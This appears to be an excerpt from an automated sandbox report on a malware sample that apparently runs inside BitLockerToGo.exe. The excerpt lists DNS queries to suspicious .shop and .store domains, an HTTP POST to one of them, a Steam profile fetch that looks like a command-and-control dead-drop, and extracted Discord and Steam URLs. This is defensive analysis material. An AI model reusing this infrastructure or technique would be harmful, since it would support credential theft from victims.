Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: dividenntykw.shop
Source: global traffic	DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic	DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic	DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic	DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic	DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic	DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic	DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic	DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: gravvitywio.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: dividenntykw.shop

Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: BW4pTs1x3V.exe	String found in binary or memory: http://cevcsca2021.crl.certum.pl/cevcsca2021.crl0w
Source: BW4pTs1x3V.exe	String found in binary or memory: http://cevcsca2021.ocsp-certum.com07
Source: BW4pTs1x3V.exe	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: BW4pTs1x3V.exe	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: BW4pTs1x3V.exe	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: BW4pTs1x3V.exe	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: BW4pTs1x3V.exe	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: BW4pTs1x3V.exe	String found in binary or memory: http://repository.certum.pl/cevcsca2021.cer0
Source: BW4pTs1x3V.exe	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: BW4pTs1x3V.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: BW4pTs1x3V.exe	String found in binary or memory: http://subca.ocsp-certum.com02
Source: BW4pTs1x3V.exe	String found in binary or memory: http://www.certum.pl/CPS0
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstaticr
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/banners/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/channel-icons/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/guilds/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/icons/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/role-icons/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/splashes/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=8vRVyaZK
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=w4s3
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=pvBDaFhF2LLJ&l=e
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: BW4pTs1x3V.exe	String found in binary or memory: https://discord.com/MESSAGE_REACTION_ADDTHREAD_MEMBER_UPDATEunmarshall
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C0000A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9//sticker-packs
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9//voice/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9//voice/regions
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C0000A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/09Az~~
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/applications
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/channels/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/gateway
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/gateway/bot
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/guilds
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/guilds/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/guilds/https://discord.com/api/v9/channels/https://discord.com/api/v9/use
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/oauth2/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/oauth2/applications
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/stage-instances
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/stickers/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/webhooks/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dividenntykw.shop/api
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dividenntykw.shop/t
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drawzhotdog.shop/api
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/api
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store:443/apifiles/76561199724331900
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://offensivedzvju.shop/
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://offensivedzvju.shop/apiC
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/apii
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C0000E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://status.discord.com/api/v2/scheduled-maintenances/active.json
